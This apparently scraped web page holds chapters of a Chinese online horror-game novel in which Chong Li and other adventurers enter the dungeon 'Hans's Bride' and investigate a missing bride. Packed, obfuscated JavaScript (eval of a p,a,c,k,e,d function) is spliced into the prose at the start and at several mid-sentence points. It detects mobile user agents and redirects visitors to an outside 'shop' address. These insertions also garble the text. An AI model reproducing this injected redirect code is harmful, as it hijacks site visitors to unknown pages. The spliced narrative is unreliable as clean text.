l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501955|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,下一秒,熟悉的空间错位感传来。 熟悉的机械音响起:“冒险者重黎,欢迎进入D级副本——《汉斯的婚礼》。解锁主线任务:请存活到婚礼日。” 机械音消失的瞬间,重黎整个人只感觉自己脑袋像被人梆梆锤了两下,晕眩得几乎站不稳。 “嗡——” 一阵尖锐的蜂鸣,耳膜像针扎一般疼。 重黎下意识捂住自己的耳朵,咬紧后槽牙。一阵杂乱的声音仿佛从她的灵魂深处响起:“嗬……hui……” 【叮,夏娃系统启动中,检测到D级副本《汉斯的新娘》,当前探索度:0。】 【检测到冒险者重黎当前生命值过低(20%),建议及时补充能量。】 【探索度超过80%,可提前登出副本。】 【勇敢的冒险者,努力探索吧!】 一连串的提示音几乎让重黎脑子快要炸掉。 下一秒,世界安静了,重黎猛地睁开眼,大口喘气,额头上豆大的汗滴落下,嗓子十分干涩,她艰难吞了口口水,整个人脸色苍白得像快死了。 视线恢复正常后,她终于感觉到了异常。 这是一个两层土房的中心院子,周围竖着两米高的围墙,此刻以她为中心直径五米内,有6个人表情各异地看着她。 重黎环视一周,最终视线落在了一个显眼的黄毛脸上,然后缓缓的笑了。 不笑还好,一笑就更让人觉得重黎下一秒就要嗝屁,在走马灯了。 草垛上坐着个白得反光的男人,左脚翘在草垛上,手臂撑在左腿膝盖上一副凝重的样子视线固定在一个方向。 重黎顺着他的视线移过去,看见了一个小女孩儿。 小女孩儿比重黎还矮了一头,皮肤、全身上下的毛发都是一样的淡白色,像是白化症患者,看起来像个脆弱的洋娃娃,却长了一双吊梢眼,看起来嘲讽力拉满。 她此时站在院门口,看着院子里的这群人像在看死物。 冷白皮男人旁边站着一胖一瘦,围着他吹捧。 胖:“王哥您可是凌霄会未来的骨干,有您在一个小小的D级副本算什么。” 瘦:“就是!这次全仰仗王哥你了。” 冷白皮不置可否。 旁边一个还穿着睡衣的女人嗤笑一声,她此时正在擦拭自己的黑框眼镜,红色的头发乱糟糟地,像刚睡醒。 重黎强撑着膝盖站起来,一个人迅速兴奋地凑到她旁边,圆圆的脸此刻皱巴巴的,一头黄毛干得像枯草,满脸担忧:“你没事吧?” “牛磊。” “那是NPC名字,我叫武落,武功的武,光明磊落的落。” 小串说进入副本有两种方式,一种是到大厅随机选择一扇门,即使进入的是同一扇门,门后的副本也可能不一样。另一种则是被标记以后进入指定副本。 听完武落的自我介绍,重黎甜甜地笑了:“是吗?” 数万冒险者中,通过同一个登录筛选又在这么短的时间内被分进同一个副本,概率能有多大? 重黎摸了摸自己刚才发光的右手臂。所以,是你吗?给她打上标记的人。 7. 汉斯的新娘2 重黎笑眯眯地说道:“我们还真是有缘分啊。” 武落也一脸兴奋,迫不及待分享:“我到了镇上不久,也没有钱找住的地方,然后就想着干脆直接进副本算了,然后就去了任务大厅,然后就稀里糊涂来了这里。没想到又遇见你了!” “上个副本不是结算了冒险值?” “我在路上遇见个人倒在路边,看他快渴死了,就给他买了瓶酒。” “酒?” “对啊,他不喝水。” 看着武落丝毫没有觉得有什么问题的表情,重黎还没说话,旁边的小女孩儿开口了:“蠢货。” 武落显然没料到眼前这小女孩儿看起来小小软软的,一开口就攻击他,于是他端起架子:“喂,小朋友,你怎么骂人呢?这样不好。” 见小孩儿不理人,武落自诩光明磊落也没想着和个小孩儿争个高低,于是他又转向重黎:“你叫什么呀,我还没来得及谢谢你呢,上个副本......” 重黎没参与这俩人的争执,她找了个靠近门口的位置坐着缓缓,她的腿有些发软,这应该就是小串说的症状了吧,确实有点难受。 她往嘴里塞了颗糖,缓解一下低血糖的症状。熬过那一阵异常状态以后,嘴里是甜滋滋的糖、空气中隐约有麦子的味道、轻柔的风抚摸着她的脸颊,重黎前所未有地如此深刻感受到了活着的感觉。 心跳“砰砰”,重黎终于后知后觉感受到了自己的变化,被大鹅骂了的胸闷是郁闷、找不到家长时的酸涩是委屈、得知魅力值负十的费解是生气,而现在,蠢蠢欲动想要探索危险区的紧张和期待,就像拆开怪味糖果包装的时候一样,重渊说这叫好奇。 重黎不自觉脸上带了笑容,她隐隐有些预感,来到这里一定会有所收获。 话说回来,这糖居然属于道具范畴,居然可以带进副本,怪不得小串一脸肉疼的样子。 随后就感受到了灼热的视线。重黎转头,一双颇具威慑力的吊梢眼此刻直勾勾地盯着她手里的糖。 于是重黎又从兜里掏了颗糖出来递给她,眉眼弯弯:“吃吗?” 小女孩儿乖巧点头,然后小声说了句谢谢。 小时候她也很爱吃糖,重渊怕重汐抢她的糖,所以总是自己带在身上,怕她长蛀牙卡着时间喂她一颗,就像现在她喂小红一样。 重黎看小红幸福地眯起了眼睛,有点可爱。双手叉腰,点头,这就是当姐姐的感觉吧。 她正陷入沉思,一个身高一米七左右的男人从屋子里走了出来,穿着洗得发白的衬衫和打满补丁的裤子。他脸上尽是风吹日晒长出来的皱纹,此刻走到众人面前,露出一个略显局促的笑容,显然并不是很习惯这么多人的注视。 “你,你们好。”男人腼腆出声,或许是因为长期不说话,声音带着些黏连感,他连连吞咽口水,双手搓着自己的袖口,“我是汉斯。” 他的脸上难掩激动和兴奋,不停吞咽着口水,满脸激动地看着他们:“你们找到我的新娘了吗?” “新......娘?” 副本名字叫《汉斯的新娘》,要找新娘也合情合理,但是怎么一上来就直接要啊! “你,你们......”男人显然从众人的反应中也知道了结果,他低下头,像是被巨大的落差击中。 重黎皱了皱鼻子,空气中一股腐烂的味道渐渐弥漫。 一片安静中,汉斯的身体像木偶一般发出咯吱咯吱的声音,动作僵硬无比,缓缓抬起的脸上长出了细密的绒毛,他瞳孔放大眼中尽是惊恐:“救,不,要,帮……” “靠!”那边胖子手中拿着一片不知道什么树的树叶,大叫一声,“怎么一进来污染就突脸啊!” 众人心中一凛,长期以来在危险区训练出的条件反射让几人在三秒之内纷纷贴到了墙边。 就连重黎也猝不及防被穿着睡衣的女人拎着领子退到了边缘。 重黎抬头和女人对视,然后被嫌弃了。女人撒开手拍了拍,像是沾上脏东西一般。 重黎缓缓露出一个标准笑容:“谢谢。” 女人嗤了一声撇开视线:“别笑了,丑。” 重黎一顿,什么?她丑?!明明重汐说过她是全世界最可爱的小孩儿! 不开心,重黎脸上笑容一收,就算刚才帮了她,她也决定不给这个女人好脸色看。 这边还在拉扯,那边被重黎喂了颗糖的小女孩儿也几步就跳了过来站在重黎旁边。 几人一退,就把唯一没退的武落凸显了出来,只见他右手塞进兜里掏了掏,掏出一瓶用矿泉水装着的浑浊液体,然后动作灵敏迅速冲上前,劈头盖脸一顿泼。 汉斯浑身一僵,变身进度停止,然后大吼一声,痛苦地在地上打滚,直到绒毛一点点褪去,他一下软倒在地,大口喘着气。 一米八的汉子硬是团成一小团,捂住脸泣不成声。 片刻后,汉斯紧紧抓住武落的手:“谢谢,我真的不知道该说什么了!恩人!我真的无以为报!对了,恩人,你们还没吃东西吧!我这就去给你们准备东西!” 说完不顾神色各异的众人迅速转身进了屋里。显然汉斯不常与人交往,竟然直接这一堆的客人扔在了这里。 等汉斯的身影消失,胖子盯着武落,语气怪怪地说道:“真有钱,圣水说泼就泼。” “啊?”武落晃了晃手中还剩半瓶的矿泉水瓶子,看向重黎,“不是解除异常状态的矿泉水吗?之前的登......” 重黎脸上的笑容没有消失,反而笑得更大,露出了几颗牙齿,这只牛果然还是太傻了,她有点后悔上个副本给他答案了。 虽然单线条,但是直觉很灵敏的武落浑身一寒,直觉不对,把登陆筛选几个字吞了回去:“副本奖励,你,你们没有吗?” 胖子一听这话顿时恶从胆边生:“什么意思?挑衅?” 这种好东西不知道多少人千金难求,这小黄毛浪费就算了还要嘲讽他们,气煞他也! 一旁的冷白皮男人开口了:“危险区里最危险的东西就是污染,虽然你这瓶圣水等级不高,但也可以抑制低程度的污染,像刚才汉斯这种污染表征化,他不是污染源,直接喂的话一瓶盖的量就够了......你挺浪费。” 武落当然知道污染的事情,现在他终于明白了自己手中的东西有多珍贵,看着衣领一圈被泼得湿淋淋的汉斯心痛无比,这破系统怎么不给个使用说明啊! 武落问道:“那他现在污染已经被净化了吗?” 现场除了汉斯的哭声一片寂静。虽然他没有说出口,但是到现在,其余人心里都清楚这人是个青瓜蛋子了,那他一进来就像找到自家亲人似的贴着重黎,这小姑娘也没跑了。 胖子撇嘴,真是什么都没搞明白就敢莽进副本。这是危险区,没有人有义务给他们上课。 过了一会儿,冷白皮男人才温和开口:“污染只能抑制,没有办法被净化。” 他一顿,补充道:“至少现在没有。” “那他……”武落在冷白皮男人的沉默中得到了答案。 冷白皮男人没再详细解释,武落也没再追问,人家愿意解释一下已经很够意思了。 而冷白皮似乎是一个老好人,他沉默片刻后提起了另一个话题:“一般来说,低级副本出现高级污染的几率很低,开局就出现的更少。” “砰——” 一声巨大 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见对方抛出了橄榄枝,武落没心没肺地就接过了:“我叫武落,武功的武,光明磊落的落。” 穿着睡衣的女人只冷漠吐出三个字:“韦媛媛。” 重黎眉眼弯弯:“我叫重黎,重新开始的黎明,的意思。” 最后所有人的视线落在了小女孩儿身上。 王凯开口:“刚才我就想问了,你满18了吗?” 众人都知道,冒险者小镇要满18岁才能进入。安全区建立以前就进入危险区的,能活到现在的基本都是青年,王凯见过的老人和小孩儿少之又少,谨慎几分没错的。 “你真的是冒险者吗?” 小女孩儿抿了抿嘴,回味着嘴里的糖,压根没有看王凯一眼,而是转向重黎认真地说:“我叫阮小红。” “诶,你这小孩儿怎么这么没礼貌,王哥问你话呢你看她干什么!” 重黎看着阮小红,笑眯眯道:“那叫你小红好了。” 有点可爱。 王凯拦住了胖子,随后温和地开口:“抱歉,我们作为团队还是尽量排除未知风险比较好。” 阮小红用她的吊梢眼一眨不眨地盯了王凯一会儿才开口:“三年前,安全区A级污染源入侵。” 说得不清不楚的话,王凯几人都没有理解。 一旁的武落却恍然大悟:“原来你是那次事件的幸存者。” 再一看,韦媛媛也有印象:“我也想起来了!不知道怎么回事儿,那次那个污染源居然绕过了云锦天衣,进入了安全区,导致那片区域很多人都被污染了,不能让他们再留在安全区。进入危险区说不定还有机会存活,所以国家指挥中心把愿意进危险区的人都送进来了。” 王凯和胖瘦两人进来得比较早,不知道这件事。而重黎,在半年前重渊突然失踪以后才渐渐走出家门,当然也不可能知道这事情。 武落看了看小女孩儿:“没想到你这么小,居然还能活到现在。你几岁了啊?” 小红撇了武落一眼,一副不想和傻子说话的样子让武落瞬间又气了:“嘿,你这小孩儿怎么这么欠揍!肯定没挨过揍吧你!” 重黎笑眯眯举起食指,打断他:“你换个角度想,她能活到现在岂不是更证明了她很厉害?” 武落一顿,非常听劝:“那倒也是。” 就在这时,汉斯从屋内走了出来,他满手鲜血、笑容满面地朝着众人招手:“吃饭了,快进来!” 他身后的屋子黑黢黢一片,大开着的房门像一张巨大无比的嘴,等待着猎物的自投罗网。 8. 汉斯的新娘3 几分钟后,众人被热情的汉斯带到了一楼客厅里的餐桌前坐下。 刚才笑得像杀人魔的汉斯此刻拉着武落千恩万谢,热情推荐:“快尝尝,这是我们这里的特色,番茄酱火腿。” 武落一言难尽,合着手上的是番茄酱啊。 重黎笑眯眯,集中意念啪一下屏蔽了夏娃系统持续弹出的补充能量提示,她的血量现在已经只剩18%了。耸了耸鼻子,好香,桌子上摆着还冒着热气的小麦面包,和番茄酱火腿。 都摆在面前了,不吃了它对它一点都不尊重! 王凯本来还在关注汉斯,一回头就看见重黎坐在汉斯正对面吃上了,他一时语塞。 重黎和他对上视线,把手里啃了一口的火腿举起来,扬起笑容:“你要吃吗?” 王凯眼中闪过一丝微芒,礼貌拒绝,想了一会儿还是提醒道:“副本里的东西最好不要乱吃。” 重黎指了指不知何时到了她旁边的胖子:“可是他的叶子没变红啊。” 胖子一愣,随即摊开手在桌子上方晃了一圈儿,这是梨树叶,冒险者小镇随机可获得的一种道具,可以检测污染源,变红就代表三米内检测到污染物,变红的程度不同,污染物被污染的程度也不同。 “小姑娘挺机灵。”说完拿了块火腿吃了起来,也不忘招呼瘦子和王凯:“快吃啊!这肉还不错。” 王凯微笑点头,然后婉拒。 韦媛媛眯了眯眼,翻了个白眼在一旁坐下,一只脚踩上了凳子,自然得像坐在自己家客厅。她直接打断汉斯的千恩万谢,直奔主题,盯着汉斯:“你为什么会变成那个样子?这里发生了什么。” 汉斯闻言又难过了起来:“我也不知道具体是为什么,某一天开始,村子里的大家都出现了这种症状,有的人轻,只会有一些身体上的变化,但理智还是清醒的。有的人重,逐渐失去了理智,就会,就会……” 汉斯像是想起了什么恐怖的事情,又不停吞咽口水试图让干涩的嗓子恢复正常。 胖子不耐烦追问:“就会什么啊?” “会......吃人。”汉斯像是想起了什么恐怖的事情,又不停吞咽口水试图让干涩的嗓子恢复正常,“你们知道饥饿是什么感觉吗?饥饿就像一把火,不仅灼烧着你的胃,连理智也会慢慢被吞噬,到最后全身上下只有一个念头在驱使你,要进食、进食、进食。不管是什么,能活下去就好......” 武落和胖子看着汉斯吞咽的动作,齐齐放下手中的火腿。不是刚刚才净化了吗?怎么还一副污染颇深的样子。 胖子手肘拐了下武落:“你那圣水是假的?” 武落瞪他一眼:“你那什么树叶子也是假的?” 然而汉斯还在回忆。 “疯了,大家都疯了......”汉斯一顿,仿佛陷入了某种回忆,“只有艾尔莎,只有艾尔莎,她是那么聪明、强大、虔诚......呜呜呜,都是因为我,她离开了房子,然后就消失了。” “艾尔莎是你的新娘?”重黎突然出声打断汉斯的哭声。 沉浸于回忆中的汉斯仿佛没听到一般,继续胡言乱语:“你们吃过人、肉吗?那味道,好香啊……好香啊……不知道,咕咚,是什么味道啊……” 胖子觉得自己有点反胃,然而重黎似乎没受任何影响,她笑眯眯地重新看向汉斯提高了音量:“你还没说呢,艾尔莎是你的新娘吗?” 胖子肃然起敬,一个才进副本的新人,面对汉斯这副绝对令人掉san的模样,脸上居然是兴致盎然,说不定就是大佬幼年体。他多年狗腿雷达在响了! 而一直不着痕迹观察着重黎的韦媛媛,默默松了一口气,真害怕她突然哭出来。 “她本来应该是的。”汉斯难过地低下了头,“我和她青梅竹……” “这里发生过饥荒?”重黎清脆的声音仿佛没有一点阴霾。 韦媛媛侧目看了重黎一眼没说话,但武落可忍不住:“人家正伤心呢……” 重黎眨眨眼,礼貌道歉:“哦,对不起。所以,这里发生过饥荒?” 道歉和问题无缝衔接,武落瞬间又被噎住,这叫什么,有点礼貌但不多? 而对汉斯也没什么影响,他叹了口气:“确实发生过,地里的作物一夜间都枯萎了,但是后来男爵大人请来了教堂的人,他们说是因为……女巫。” “女巫?”武落疑惑,跟这又有什么关系。 “神父说我们村子里有人窝藏女巫,是因为我们犯下的罪孽才招来了饥荒。” 汉斯痛苦地揪住自己的头发:“可是村子里面哪里有女巫,明明那群人来之前一切都很好!都是他们,他们害了艾尔莎......” 汉斯话音刚落,众人的罗盘突然齐齐发光,在餐桌上方投射出一段画面。 黑夜中一群人点着火把围成一个圈,周围似乎是麦田。 衣着华丽、大腹便便的男人站在石头城堡的围墙上,高高在上地俯视着汉斯:“能为男爵大人效力是你们的荣耀,庶民。” 说完他轻轻抬起右手,一堆家丁冲着镜头而来,然后视角开始晃动,伴随着“呜呜”的挣扎声视角上扬,正对着那一轮弯月,远处影影绰绰露出一栋建筑的影子。 “哐当——”一下被丢进了土坑,周围白花花一片,拼命扭动中依稀能够看见几个戴着面具穿着神袍的几个壮汉。 一个白发苍苍的老头走上前,满眼仁慈:“孩子,你生而邪恶。上帝仁慈,允许你将功赎罪,你将完成神赐予你的使命,男爵大人的土地再也不会被饥饿侵蚀。” 视角疯狂摇头抗拒,却全然无法阻止一铲又一铲冰冷泥土不断砸落下来。 泥土层层堆叠,最后一丝微弱火光被彻底掩埋。 无边死寂的黑暗里,只剩下急促紊乱、渐渐微弱窒息的喘息,一点点消散。 直至万籁俱寂,再无一丝声响。 画面消失,重黎又听见了汉斯的啜泣声,他似乎对画面的投射没有任何察觉,再看周围的其他人,除了武落都习以为常。 【叮,探索度+10%。】 看到喜形于色的胖子,重黎就知道显然大家都收到了夏娃的提示。 就在这时,汉斯一把抓住了武落的手:“求求你们了,帮我找找我的新娘,你们一定能找到她的!” 说完他从兜里掏出一串项链,铜制的鸢尾花,虽然价值不高但胜在精巧。 “找到她!帮我把这个给她!” 【叮~触发支线任务,信物的传递。请选择是否接受。】 重黎伸出左手想接过那串项链仔细看看。 “啪”一下却被韦媛媛抓住了,她神色淡淡:“主线任务是生存三天,不要节外生枝。” 重黎用力挣却完全敌不过女人的力气,她眉眼弯弯:“我为什么要听你的?” 就在她已经准备掏出蓝胡子菜刀的时候,韦媛媛松开了手。 武落不动声色地凑到重黎旁边,小声问:“没事吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501957|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 王凯轻轻出声:“韦小姐,你是重小姐的监护人?” 韦媛媛没搭理他,他又对着众人说:“支线剧情一般不会特别难,有额外奖励,失败了也没有惩罚。要不要接各位可以考虑一下,反正我是肯定不会错过这个机会的。” 说完他率先接了任务,胖瘦二人对视一眼也跟着接下。 武落和阮小红都盯着重黎的动作,见她再次伸手把项链握在了手里,而韦媛媛这次没什么反应。 重黎仔细看着手里的项链,总感觉在哪里见过。 她为数不多知道的关于危险区的东西,都是从重汐那儿得知的,她现在仅仅只是觉得有些许眼熟,但哪怕一点线索她也不想放过。 于是她果断接受了任务。 紧接着,武落、阮小红甚至韦媛媛都接下了任务。 汉斯这才接着说:“太感谢你们了!快快快,吃点东西吧!” 几人开始填饱肚子,终于,随着进食重黎持续下降的体力终于开始回升,但仍然只有20%。 众人渐渐都停下了进食,只有重黎还在有一口没一口地吃着,自己的生命值岌岌可危,能多恢复一点就多恢复一点。 重黎一边吃一边盯着窗外,外面的天好像都要黑了,而且:“起雾了。” 胖子听到这话望向窗外,确实不知什么时候,外面的自然光线已经快要消失,而且雾雾蒙蒙的一片,本来还可以影影约约可以看见十几米外有别的住户,现在已经全部被雾遮挡了。 他转头用询问的语气:“凯哥,要不咱们趁着天还没黑先出去转转?” 还没等王凯回答,汉斯先发话了:“不行!绝对不行!” 突然加大的音量吸引了所有人注意,汉斯一下又反应过来,再次畏畏缩缩,小声说道:“晚上绝对不能出门,否则,村民们会吃了你们的。” 武落咕咚吞了一口口水:“真……真吃啊?” 汉斯又突然大声:“我没有骗人!白天大家还能维持正常,一到了晚上……你们要是出去,就和艾尔莎一样,再也回不来了,呜呜呜……” 见汉斯又哭上了,众人有些无奈,王凯劝慰道:“好好好,我们不出去。天色也晚了,麻烦你帮我们准备几间房吧,我们休息一下明天再出去。” 等汉斯兴高采烈离开,他才对众人说道,尤其面向重黎和武落:“危险区的通用守则第一条,夜晚很危险,能安全度过夜晚的方式是睡觉。所以,我们暂时先不要出门,你们没意见吧?” 王凯脸上的表情和语气的很温和,说的话却是一股子不容违逆的味道。 但在场除了胖瘦二人,有一个算一个都有个性得很,见众人四散开来,王凯脸上表情克制不住有些阴沉。 好在还有一胖一瘦,胖子热情邀请:“王哥,我们也在房里看看有没有什么线索吧。” 王凯收起脸上表情,温和点头。 汉斯的房子还挺大的,一楼是客厅、厨房、杂物间,二楼应该都是卧室。 重黎随意逛了逛,除了厨房里堆了些吃的东西,就只有这个杂物间里放了些农具、绳子之类的。 几分钟后,重黎又回到客厅,韦媛媛坐在桌子边倒了杯水。 看见重黎回来,她莫名其妙笑了一声,然后问:“发现什么了?” 重黎也坐到她对面,眉眼弯弯:“发现你有点奇怪。” 韦媛媛一顿,重黎接着说:“你好像看我很不爽,但是又要管我,为什么?” 9. 汉斯的新娘4 “少管。”韦媛媛没有回答她的问题,一口干了那杯水:“就你这个弱鸡身体,真当危险区是玩儿的地方了?也不知道你进来干什么......” 韦媛媛烦躁地看了重黎一眼,麻烦死了,回去以后一定要和江霂打一架。 “你还没说为什么?” 韦媛媛:“你不用知道,出了这个副本早点回家去。” 重黎一怔,回家?不是说回去不去了吗?正准备继续问,王凯他们过来了。 “汉斯准备好了房间,一共三个。”王凯顿了一下,“你们有发现什么吗?” 重黎积极举手:“厨房里有很多吃的!” 王凯顺势走到重黎旁边坐下,“这确实有些奇怪。看这房子确实是个土屋,我推测这个副本应该挺落后的,落后的年代能在厨房里面堆积这么多粮食就已经算富庶人家了,但看汉斯只是个种地的,这个年代难道没有地主之类的,怎么会允许他有这么多粮食?这怕得明天白天去村里看看才知道。” 韦媛媛对王凯态度一直很差,硬邦邦来了句:“没有。” 旁边胖子一下就跳起来了:“你们怎么回事,这么不够意思!不是说了要团结一致吗?王哥都先说了他的分析了!” 王凯拦了拦:“行了行了,没必要。” “二楼我上去看了,是几间卧室和一个厕所,房间里的陈设都很简单,只放了一张床和桌子,厕所在靠近楼梯的位置。唯一一个上锁的房间,应该是汉斯的。估计里面得有点东西。”他一副苦口婆心的样子,“一般副本分为单人副本和多人副本,多人副本人数又有3、7、13三种,人越多的副本剧情设计越复杂,线索也会更多,如果找到什么最好还是说出来,对大家都好。” 重黎神色不变,依旧笑眯眯:“我没有说谎哦。” 重黎可还没忘记她还有一个掉血buff悬在头顶,本身体质只有2点,血量上限就只有20。不指望道具能有什么用,但是她也不想连重汐的毛都没摸着就嘎了。 正因为对情绪感知不强烈,因此重黎非常非常地爱看乐子,满嘴跑火车才是常态,她已经非常克制了,换了重曜来都要惊掉下巴,重黎还能有这么老实的时候? 气氛一时陷入僵持,只有一个人在状况外。 武落双手环胸盯着楼梯,时不时抓耳挠腮。 王凯见状问道:“小兄弟,你发现什么了?” 武落听到问题一怔,随后笑开了:“啊,没什么,我吃饱了撑着难受呢。” 王凯:“……” 终于忍不住站起身:“天已经黑了,大家还是抓紧时间休息吧。以防万一,大家还是最少两人一间房。” 重黎随便挑了一间靠楼梯的房间,里面是两张一米二的单人床,房间几乎没什么装饰。 重黎随便选了一张躺上去,身后一串人就跟了进来,重黎再次确认这个魅力值判定人类和boss肯定是反着来的。太受欢迎了也是一种烦恼。 重黎两手交叉放在肚子上,整个人躺得很安详,一直跳动的额角终于舒缓了一些,也有心情来听武落嘚瑟了。 “重黎!我跟你说。我觉得不对劲!” “哪里不对劲?” “汉斯不对劲,这个屋子里根本就没有女人用的东西。那个艾尔莎究竟是不是她的新娘,一点信息都没有我们要上哪儿去找?” 重黎偏头看了眼兴奋的武落:“玩儿侦探游戏呢?” “嘿嘿嘿......谁还没有一颗福尔摩斯的心。”说完他又摸了摸下巴一下站起身,盯着天花板半晌然后肯定道,“总感觉我和天花板的距离变近了,嗯……我不会长高了吧!” 阮小红在旁边嗤笑一声:“又浪费一分钟听傻子说话。” “嘿!怎么又骂人!你当心我真收拾你啊!” “来啊。”阮小红刷一下亮出自己锋利的爪子,看起来像什么动物的爪子。 重黎只觉得吵闹,开始回想自己和重曜吵架的时候也这个死动静吗?应该不至于吧…… 看了一眼在房间里你追我赶的两个人,重黎肯定,当然不会,因为重曜怎么胆敢跟她对着干,不认错立马就会有人让他认错。 重黎嘴角微微翘起,琥珀色的眼睛里是纯粹的快乐。 啊,原来这是快乐,为什么当时没有这种浑身泡进温水里的感觉呢,毛茸茸软绵绵的,好舒服。 但是重黎一点也不可惜,因为她会把哥哥姐姐找回来,然后大声告诉她们她会开心了! 重黎刷一下从床上坐起来,瞬间干劲十足。 然后和韦媛媛对上了视线,韦媛媛嗤笑一声:“怎么,你也想玩儿侦探游戏?” 重黎心情好,不和她一般计较,大拇指和食指扣住下巴,看向武落开始推理。 “汉斯有问题吗?一定有,首先,被圣水抑制的污染绝对不会这么快就复发,所以他刚才那一副食人魔的样子要么就是他的本性,要么,就是演的。如果是演的,为什么?单纯为了吓我们?” “第二,从头到尾,汉斯都没有说过艾尔莎是他的新娘。本来应该是,也就意味着后来不是。而且如果是,那么直接让她们找艾尔莎就行了,没必要用新娘来指代,所以我倾向于大概率不是。” “第三,艾尔莎的死因有问题。汉斯的描述里,艾尔莎因为他出了房子,但是艾尔莎是主动还是被动离开?被汉斯推出去也叫因为他。” “第四,艾尔莎的身份有问题。汉斯形容她的时候用了一个词:虔诚。什么样的人会用虔诚来形容,信徒?那她又在信仰什么?” “第五,就是粮食。你应该挺厉害的吧,你刚才踹门用全力了吗?” 早已经在重黎的分析里坐起来的韦媛媛,神色复杂,开口的时候语气已经没有一开始的暴躁:“用了。” 重黎举起食指:“那么问题来了,她都踹不开的大门我们更打不开,一个封闭的房子,汉斯厨房里那么多新鲜的粮食是哪来的?他的房子有别的出口?还是有谁在给他送粮食?他为什么不敢出门,在害怕村民还是其他的东西?” “会不会是汉斯能打开,我们打不开?”武落已经被重黎飞驰的脑速甩晕,这已经是他绞尽脑汁能够搭上的问题了。 重黎看了他一眼,怜爱地拍拍他的脑袋,又躺下了。 武落摸得着头摸不着头脑,咋了,他说对了? 重黎没管,继续等待,见空中没反应她拿出罗盘摇了摇。 “别摇了,再摇也摇不出探索进度。”韦媛媛见她消停了,又躺回床上,“要是光靠嘴猜就能有进度,危险区怎么会死这么多人......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501958|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从进副本到现在一直处于暴躁状态的韦媛媛此刻神色晦暗不明,昏暗的油灯下,火焰的影子在她脸上跳动。 旁边阮小红突然上前一步,挡在了重黎面前,这个女人身上的杀意一瞬间浓烈得要掀翻屋顶。 这边房间里讨论得热烈,那边王凯和胖瘦二人也在商量。 “这汉斯的新娘这么一看感觉什么线索也没有啊,我刚刚还问了他也没问出什么来。”胖子在回房间之前还找汉斯聊了两句,结果似乎是晚饭那长达一个小时的哭泣花光了他所有力气,已经变成人机了,不管问什么,汉斯嘴里只有一句,夜晚不安全不要出门。 李双往床上一坐,对自己这个单细胞的发小有些没招,没好气地说:“你是汉斯亲戚?你怎么不干脆直接让他给你开后门让你秒通关算了。” 胖子嘿嘿一笑:“我也想呢。那现在怎么办嘛。” 王凯从厕所回来,就听到这话,温和笑道:“我觉得两个地方可能会有线索,一个是汉斯的房间,注意找找钥匙。另外就是明天出门在村子里找线索。船到桥头自然直,不用担心。” 胖子立马附和:“王哥说得对,有你在可真安心,不愧是凌霄会的骨干啊。” 王凯笑了笑没搭话。不过胖子是个话痨,也不用他搭话就能继续说:“那群人是一伙的?我可看到了,汉斯要变身的时候韦媛媛护着那个重黎,重黎又和武落认识,那个怪渗人的阮小红也一直跟在重黎屁股后面。” 王凯笑了笑,意味深长地说:“对新人而言,危险区里莫名其妙的善意可不是什么好事,那个韦媛媛......那几个小朋友自求多福吧。” 胖子还想开口,李双一巴掌制止了他,危险区里老人用新人当消耗品探路的事情并不少见,在那之前给点甜头也很正常。这种事情他和胖子走到现在,没必要大惊小怪,更没有必要替人出头。 胖子被李双制止,但他还有些犹豫,那俩新人还挺对他胃口的,要是死在这上面有点可惜,那个女人看起来就不像会手下留情的样子。 另一边,武落躺在地板上打了个哈欠,揉了揉鼻子裹紧了被子,坚决不离开地板。 阮小红有些生气,拖着被子路过时给了他一脚,非要死皮赖脸跟着几个女的住,就没见过他这样的。 这一间房在武落的撒泼打滚下,成功容下了四个人。 重黎对此倒没什么意见,反正她睡床,放松身体倒在床上,突然她仿佛被什么硌了一下。重黎皱眉,掀开被子却什么也没发现。 “怎么了?”一直关注着她的韦媛媛问道。 重黎疑惑一瞬,摇了摇头。 韦媛媛也只说了句就去睡了:“晚上老实睡觉,有什么动静都别管。” 突然,一阵困顿席卷,重黎渐渐闭上了眼睛,整栋房子都陷入了沉寂。 不知多久以后。 “叮铃铃——” 一阵微弱的铃铛声响起,重黎眉头一皱,没有动也没有睁开眼睛。 只响了一瞬,这声音便消失了。 是错觉吗?重黎松开眉头,准备继续睡觉。然而下一秒一个凉凉的东西隔着被子贴在了她的身边,一瞬间她只觉得寒气入骨。 微弱的气流擦过她的耳朵,一个童声在她耳边响起:“来,陪我,玩儿。” 10. 汉斯的新娘5 冰凉的气息近在咫尺,重黎硬生生忍住了,保持着一动不动的姿势侧躺着,紧绷的神经让肌肉开始有些僵硬。 同时脑子开始飞速转动,小孩儿?哪里来的小孩儿,听声音只有两三岁,它没有直接扒拉自己,一定不是不想而是不能。 就像汉斯,因为她的负数魅力值,在吃饭的时候她其实已经感觉到相较于其他人,汉斯偶尔会对自己表露出食欲,没有动手的原因一定是因为他需要遵循一些规则。 此刻它还坚持不懈地在自己耳边说着:“陪~我~玩儿。” 重黎心想,想和她玩儿的小孩儿多了去了,去排队去吧。 “排。队?” 排队也不跟你玩儿。 耳畔的凉意消失了,重黎疑惑,为什么这小孩儿可以听到她心里的声音? 